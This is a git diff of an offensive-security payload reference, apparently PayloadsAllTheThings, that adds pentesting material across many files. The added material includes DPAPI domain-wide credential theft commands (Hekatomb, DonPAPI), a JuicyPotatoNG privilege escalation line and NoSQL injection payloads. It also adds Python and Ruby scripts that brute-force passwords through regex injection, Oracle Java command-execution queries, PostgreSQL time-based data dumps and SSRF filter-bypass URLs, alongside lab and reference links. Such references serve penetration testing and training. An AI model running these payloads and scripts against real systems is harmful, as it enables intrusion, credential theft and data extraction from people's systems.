/in:"C:\Users\\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk +``` + +### Hekatomb - Steal all credentials on domain + +> [Processus-Thief/Hekatomb](https://github.com/Processus-Thief/HEKATOMB) is a python script that connects to LDAP directory to retrieve all computers and users informations. Then it will download all DPAPI blob of all users from all computers. Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials. + +```python +pip3 install hekatomb +hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp +``` + +![Data in memory](https://github.com/Processus-Thief/HEKATOMB/raw/main/.assets/github1.png) + +### DonPAPI - Dumping DPAPI credz remotely + +* [login-securite/DonPAPI](https://github.com/login-securite/DonPAPI) + +```ps1 +DonPAPI.py domain/user:passw0rd@target +DonPAPI.py --hashes : domain/user@target + +# using domain backup key +dpapi.py backupkeys --export -t domain/user:passw0rd@target_dc_ip +python DonPAPI.py -pvk domain_backupkey.pvk domain/user:passw0rd@domain_network_list +``` + +## References + +* [DPAPI - Extracting Passwords - HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) +* [DON PAPI, OU L’ART D’ALLER PLUS LOIN QUE LE DOMAIN ADMIN - LoginSecurité - CORTO GUEGUEN - 4 MARS 2022](https://www.login-securite.com/2022/03/04/don-papi-ou-lart-daller-plus-loin-que-le-avec-dpapi/) \ No newline at end of file diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md index 176fc6d..049a66e 100644 --- a/Methodology and Resources/Windows - Mimikatz.md +++ b/Methodology and Resources/Windows - Mimikatz.md @@ -235,7 +235,6 @@ Attributes : 0 vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\" ``` - ## Mimikatz - Commands list | Command |Definition| diff --git a/Methodology and Resources/Windows - Privilege Escalation.md b/Methodology and Resources/Windows - Privilege Escalation.md index bbf93c7..a58d456 100644 --- a/Methodology and Resources/Windows - Privilege Escalation.md +++ b/Methodology and Resources/Windows - Privilege Escalation.md @@ -956,9 +956,8 @@ Example: "Windows Help and Support" (Windows + F1), search for "command prompt", Look for vuln drivers loaded, we often don't spend enough time looking at this: ```powershell -# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery - -PS C:\Users\Swissky> driverquery.exe /fo table +# Native binary +PS C:\Users\Swissky> driverquery.exe /fo table /si Module Name Display Name Driver Type Link Date ============ ====================== ============= ====================== 1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM @@ -972,6 +971,7 @@ acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM +# https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery PS C:\Users\Swissky> DriverQuery.exe --no-msft [+] Enumerating driver services... [+] Checking file signatures... @@ -1289,6 +1289,14 @@ C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs ``` +### JuicyPotatoNG + +* [antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) + +```powershell +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt +``` + ## EoP - Privileged File Write @@ -1502,5 +1510,8 @@ Detailed information about the vulnerability : https://www.zerodayinitiative.com * [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html) * [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/) * [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1) -* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) +* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) * [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/) +* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - March 17, 2022 | Simon Zuckerbraun](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) +* [Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian](https://shells.systems/post-bypassing-applocker-by-abusing-hashinfo/) +* [Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) \ No newline at end of file diff --git a/NoSQL Injection/Intruder/NoSQL.txt b/NoSQL Injection/Intruder/NoSQL.txt index c00e486..535cb4d 100644 --- a/NoSQL Injection/Intruder/NoSQL.txt +++ b/NoSQL Injection/Intruder/NoSQL.txt @@ -20,3 +20,6 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi ';sleep(5000);' ';sleep(5000);+' ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); +';return 'a'=='a' && ''==' +";return(true);var xyz='a +0;return true \ No newline at end of file diff --git a/NoSQL Injection/README.md b/NoSQL Injection/README.md index d5d00b1..12fbf15 100644 --- a/NoSQL Injection/README.md +++ b/NoSQL Injection/README.md @@ -11,6 +11,7 @@ * [Extract data information](#extract-data-information) * [Blind NoSQL](#blind-nosql) * [POST with JSON body](#post-with-json-body) + * [POST with urlencoded body](#post-with-urlencoded-body) * [GET](#get) * [MongoDB Payloads](#mongodb-payloads) * [References](#references) @@ -19,6 +20,7 @@ * [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap) * [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab) +* [Burp-NoSQLiScanner - Plugin available in burpsuite](https://github.com/matrix/Burp-NoSQLiScanner) ## Exploit @@ -70,11 +72,20 @@ Extract data with "in" {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} ``` +### SSJI + +```json +';return 'a'=='a' && ''==' +";return 'a'=='a' && ''==' +0;return true +``` + ## Blind NoSQL ### POST with JSON body +python script: ```python import requests @@ -100,6 +111,8 @@ while True: ### POST with urlencoded body +python script: + ```python import requests import urllib3 @@ -124,6 +137,8 @@ while True: ### GET +python script: + ```python import requests import urllib3 @@ -138,13 +153,40 @@ u='http://example.org/login' while True: for c in string.printable: if c not in ['*','+','.','?','|', '#', '&', '$']: - payload='?username=%s&password[$regex]=^%s' % (username, password + c) + payload=f"?username={username}&password[$regex]=^{password + c}" r = requests.get(u + payload) if 'Yeah' in r.text: - print("Found one more char : %s" % (password+c)) + print(f"Found one more char : {password+c}") password += c ``` +ruby script: + +```ruby +require 'httpx' + +username = 'admin' +password = '' +url = 'http://example.org/login' +# CHARSET = (?!..?~).to_a # all ASCII printable characters +CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-' +GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] +session = HTTPX.plugin(:persistent) + +while true + CHARSET.each do |c| + unless GET_EXCLUDE.include?(c) + payload = "?username=#{username}&password[$regex]=^#{password + c}" + res = session.get(url + payload) + if res.body.to_s.match?('Yeah') + puts "Found one more char : #{password + c}" + password += c + end + end + end +end +``` + ## MongoDB Payloads ```bash @@ -165,6 +207,9 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 +';return 'a'=='a' && ''==' +";return(true);var xyz='a +0;return true ``` ## References @@ -173,3 +218,4 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi * [Testing for NoSQL injection - OWASP/WSTG](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection) * [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists) * [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb) +* [Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java) diff --git a/OAuth/README.md b/OAuth/README.md index 4e728c5..478f03b 100644 --- a/OAuth/README.md +++ b/OAuth/README.md @@ -62,6 +62,15 @@ Applications that do not check for a valid CSRF token in the OAuth callback are > The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request. +## Labs + +* [Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow) +* [Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking) +* [OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri) +* [Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page) +* [Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect) + + ## References * [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html) diff --git a/Open Redirect/README.md b/Open Redirect/README.md index badb20c..fe14b59 100644 --- a/Open Redirect/README.md +++ b/Open Redirect/README.md @@ -178,6 +178,10 @@ http://www.example.com/redirect.php?url=javascript:prompt(1) ?continue={payload} ?return_path={payload} ``` +## Labs + +* [DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection/lab-dom-open-redirection) + ## References diff --git a/README.md b/README.md index b5bdf8b..4dcd4b0 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,15 @@ -# Payloads All The Things [![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/PayloadsAllTheThings/) +# Payloads All The Things A list of useful payloads and bypasses for Web Application Security. -Feel free to improve with your payloads and techniques ! +Feel free to improve with your payloads and techniques ! I :heart: pull requests :) -You can also contribute with a :beers: IRL, or using the sponsor button. +You can also contribute with a :beers: IRL, or using the sponsor button +[![Sponsor](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&link=https://github.com/sponsors/swisskyrepo)](https://github.com/sponsors/swisskyrepo) +[![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/PayloadsAllTheThings/) + +An alternative display version is available at [PayloadsAllTheThingsWeb](https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/).

@@ -36,16 +40,17 @@ You might also like the `Methodology and Resources` folder : - [Network Discovery.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) - [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [Subdomains Enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md) + - [Windows - AMSI Bypass.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass.md) + - [Windows - DPAPI.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20DPAPI.md) - [Windows - Download and Execute.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md) - [Windows - Mimikatz.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md) - [Windows - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) - - [Windows - Post Exploitation Koadic.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Post%20Exploitation%20Koadic.md) - [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md) - [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits) -You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/BOOKS.md) and [Youtube videos](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/YOUTUBE.md) selections. +You want more ? Check the [Books](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/BOOKS.md) and [Youtube videos](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_LEARNING_AND_SOCIALS/YOUTUBE.md) selections. 👨‍💻 Contributions @@ -58,4 +63,13 @@ Be sure to read [CONTRIBUTING.md](https://github.com/swisskyrepo/PayloadsAllTheT

-Thanks again for your contribution! :heart: \ No newline at end of file +Thanks again for your contribution! :heart: + + +🧙‍♂️ Sponsors +----- + +This project is proudly sponsored by these companies. + +[](https://github.com/vaadata) +[](https://github.com/projectdiscovery) diff --git a/Request Smuggling/README.md b/Request Smuggling/README.md index 3f145a0..07b2944 100644 --- a/Request Smuggling/README.md +++ b/Request Smuggling/README.md @@ -12,6 +12,15 @@ * [HTTP Request Smuggler / BApp Store](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) * [Smuggler](https://github.com/defparam/smuggler) +* [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) > this tool does not offer automated exploitation. You have to identify the injection point and exploit it manually! + + +## About CL.TE | TE.CL Vulnerabilities +If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as portswigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`. For that reason you can use the [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) and exploit the CL.TE TE.CL vulnerabilities manually and learn how this vulnerability works and how you can exploit it. This tool offers you only the second request with a valid chunk size(TE.CL) auto-generated but does not offer automated exploitation. You have to identify the injection point and exploit it manually! + + + + ## CL.TE vulnerabilities diff --git a/SQL Injection/HQL Injection.md b/SQL Injection/HQL Injection.md index 97d3672..fbb618e 100644 --- a/SQL Injection/HQL Injection.md +++ b/SQL Injection/HQL Injection.md @@ -15,6 +15,8 @@ * [Methods by DBMS](#methods-by-dbms) * [References](#references) +:warning: Your input will always be between the percentage symbols: `%INJECT_HERE%` + ## HQL Comments ```sql @@ -134,7 +136,7 @@ public class Constants { Some usable constants in well-known Java libraries: -``` +```ps1 org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ] com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ] jodd.util.StringPool.SINGLE_QUOTE [ Jodd ] diff --git a/SQL Injection/OracleSQL Injection.md b/SQL Injection/OracleSQL Injection.md index 7050267..36d0514 100644 --- a/SQL Injection/OracleSQL Injection.md +++ b/SQL Injection/OracleSQL Injection.md @@ -77,10 +77,37 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) comment: -- /**/ ``` -## Oracle SQL Command execution +## Oracle SQL Command Execution * [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat) +### Oracle Java Execution + +* List Java privileges + ```sql + select * from dba_java_policy + select * from user_java_policy + ``` +* Grant privileges + ```sql + exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<>','execute'); + exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); + exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); + ``` +* Execute commands + * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()` + ```sql + SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL + SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual + ``` + * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()` + ```sql + SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL + ``` + + +### Oracle Java Class + ```sql /* create Java class */ BEGIN @@ -112,3 +139,5 @@ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; * [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle) * [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf) +* [Pentesting Oracle TNS Listener - HackTricks](https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener) +* [ODAT: Oracle Database Attacking Tool](https://github.com/quentinhardy/odat/wiki/privesc) \ No newline at end of file diff --git a/SQL Injection/PostgreSQL Injection.md b/SQL Injection/PostgreSQL Injection.md index ce07cf4..72efb30 100644 --- a/SQL Injection/PostgreSQL Injection.md +++ b/SQL Injection/PostgreSQL Injection.md @@ -34,6 +34,16 @@ /**/ ``` +## PostgreSQL chain injection points symbols +```sql +; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier. +|| #or statement + +# usage examples: +/?whatever=1;(select 1 from pg_sleep(5)) +/?whatever=1||(select 1 from pg_sleep(5)) +``` + ## PostgreSQL Version ```sql @@ -140,6 +150,29 @@ Note, with the above queries, the output needs to be assembled in memory. For la ``` ## PostgreSQL Time Based +#### Identify time based + +```sql +select 1 from pg_sleep(5) +;(select 1 from pg_sleep(5)) +||(select 1 from pg_sleep(5)) +``` + +#### Database dump time based +```sql +select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1 +``` + +#### Table dump time based +```sql +select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1 +``` +#### columns dump time based +```sql +select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1 +select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1 +``` + ```sql AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) diff --git a/SQL Injection/README.md b/SQL Injection/README.md index 1827c28..f582268 100644 --- a/SQL Injection/README.md +++ b/SQL Injection/README.md @@ -612,6 +612,13 @@ Obfuscated query 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2 ``` +## Labs + +* [SQL injection vulnerability in WHERE clause allowing retrieval of hidden data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data) +* [SQL injection vulnerability allowing login bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass) +* [SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding) +* [SQL Labs](https://portswigger.net/web-security/all-labs#sql-injection) + ## References * Detect SQLi diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index f7d9455..8e02d7f 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -10,6 +10,7 @@ * [Boolean - Count number of tables](#boolean---count-number-of-tables) * [Boolean - Enumerating table name](#boolean---enumerating-table-name) * [Boolean - Extract info](#boolean---extract-info) +* [Boolean - Error based](#boolean---error-based) * [Time based](#time-based) * [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database) * [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension) @@ -77,6 +78,11 @@ and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN ELSE END ``` +## Boolean - Error based + +```sql +AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END +``` ## Time based @@ -84,6 +90,7 @@ CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) ``` + ## Remote Command Execution using SQLite command - Attach Database ```sql @@ -103,3 +110,4 @@ Note: By default this component is disabled ## References [Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf) +[SQLite Error Based Injection for Enumeration](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/) diff --git a/Server Side Request Forgery/Images/Parser & Curl < 7.54.png b/Server Side Request Forgery/Images/Parser & Curl < 7.54.png deleted file mode 100644 index 76fe429..0000000 Binary files a/Server Side Request Forgery/Images/Parser & Curl < 7.54.png and /dev/null differ diff --git a/Server Side Request Forgery/README.md b/Server Side Request Forgery/README.md index acbea08..a79bf37 100644 --- a/Server Side Request Forgery/README.md +++ b/Server Side Request Forgery/README.md @@ -580,6 +580,7 @@ http://0xA9FEA9FE/ Dotless hexadecimal http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow http://0251.0376.0251.0376/ Dotted octal http://0251.00376.000251.0000376/ Dotted octal with padding +http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal) ``` More urls to include @@ -828,6 +829,14 @@ curl http://rancher-metadata// More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/ +## Labs + +* [Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost) +* [Basic SSRF against another back-end system](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system) +* [SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter) +* [SSRF with whitelist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter) +* [SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection) + ## References @@ -863,3 +872,4 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se - [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/) - [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html) - [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/) +- [SSRF: Don't encode entire IP](https://twitter.com/thedawgyg/status/1224547692967342080) diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 79f9bfc..9d3d392 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -15,7 +15,7 @@ - [Expression Language EL - Basic injection](#expression-language-el---basic-injection) - [Expression Language EL - One-Liner injections not including code execution](#expression-language-el---one-liner-injections-not-including-code-execution) - [Expression Language EL - Code Execution](#expression-language-el---code-execution) - - [Freemarker](#freemarker) + - [Java - Freemarker](#freemarker) - [Freemarker - Basic injection](#freemarker---basic-injection) - [Freemarker - Read File](#freemarker---read-file) - [Freemarker - Code execution](#freemarker---code-execution) @@ -26,14 +26,15 @@ - [Groovy - HTTP request:](#groovy---http-request) - [Groovy - Command Execution](#groovy---command-execution) - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass) - - [Handlebars](#handlebars) + - [JavaScript - Handlebars](#handlebars) - [Handlebars - Command Execution](#handlebars---command-execution) - [Jade / Codepen](#jade--codepen) - [Java](#java) - [Java - Basic injection](#java---basic-injection) - [Java - Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables) - [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd) - - [Jinja2](#jinja2) + - [Django Template](#django-template) + - [Python - Jinja2](#jinja2) - [Jinja2 - Basic injection](#jinja2---basic-injection) - [Jinja2 - Template format](#jinja2---template-format) - [Jinja2 - Debug Statement](#jinja2---debug-statement) @@ -42,21 +43,22 @@ - [Jinja2 - Read remote file](#jinja2---read-remote-file) - [Jinja2 - Write into remote file](#jinja2---write-into-remote-file) - [Jinja2 - Remote Code Execution](#jinja2---remote-code-execution) + - [Forcing output on blind RCE](#jinja2---forcing-output-on-blind-rce) - [Exploit the SSTI by calling os.popen().read()](#exploit-the-ssti-by-calling-ospopenread) - [Exploit the SSTI by calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen) - [Exploit the SSTI by calling Popen without guessing the offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset) - [Exploit the SSTI by writing an evil config file.](#exploit-the-ssti-by-writing-an-evil-config-file) - [Jinja2 - Filter bypass](#jinja2---filter-bypass) - - [Jinjava](#jinjava) + - [Java - Jinjava](#jinjava) - [Jinjava - Basic injection](#jinjava---basic-injection) - [Jinjava - Command execution](#jinjava---command-execution) - - [Lessjs](#lessjs) + - [JavaScript - Lessjs](#lessjs) - [Lessjs - SSRF / LFI](#lessjs---ssrf--lfi) - [Lessjs < v3 - Command Execution](#lessjs--v3---command-execution) - [Plugins](#plugins) - - [Mako](#mako) + - [Python - Mako](#mako) - [Direct access to os from TemplateNamespace:](#direct-access-to-os-from-templatenamespace) - - [Pebble](#pebble) + - [Java - Pebble](#pebble) - [Pebble - Basic injection](#pebble---basic-injection) - [Pebble - Code execution](#pebble---code-execution) - [Ruby](#ruby) @@ -64,18 +66,24 @@ - [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd) - [Ruby - List files and directories](#ruby---list-files-and-directories) - [Ruby - Code execution](#ruby---code-execution) - - [Smarty](#smarty) - - [Twig](#twig) + - [PHP - Smarty](#smarty) + - [PHP - Twig](#twig) - [Twig - Basic injection](#twig---basic-injection) - [Twig - Template format](#twig---template-format) - [Twig - Arbitrary File Reading](#twig---arbitrary-file-reading) - [Twig - Code execution](#twig---code-execution) - - [Velocity](#velocity) + - [Java - Velocity](#velocity) + - [PHP - patTemplate](#pattemplate) + - [PHP - PHPlib](#phplib-and-html_template_phplib) + - [PHP - Plates](#plates) - [References](#references) ## Tools -Recommended tool: [Tplmap](https://github.com/epinna/tplmap) +Recommended tools: + +[Tplmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool + e.g: ```powershell @@ -84,6 +92,16 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomm python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` +[SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [Tplmap](https://github.com/epinna/tplmap) + +e.g: + +```powershell +python3 ./sstimap.py -u 'https://example.com/page?name=John' -s +python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade +python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk' +``` + ## Methodology ![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true) @@ -311,6 +329,7 @@ ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(val ## Java ### Java - Basic injection +> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. ```java ${7*7} @@ -336,6 +355,67 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex --- +## Django Templates + +Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2. + +### Detection + + +```python +{% csrf_token %} # Causes error with Jinja2 +{{ 7*7 }} # Error with Django Templates 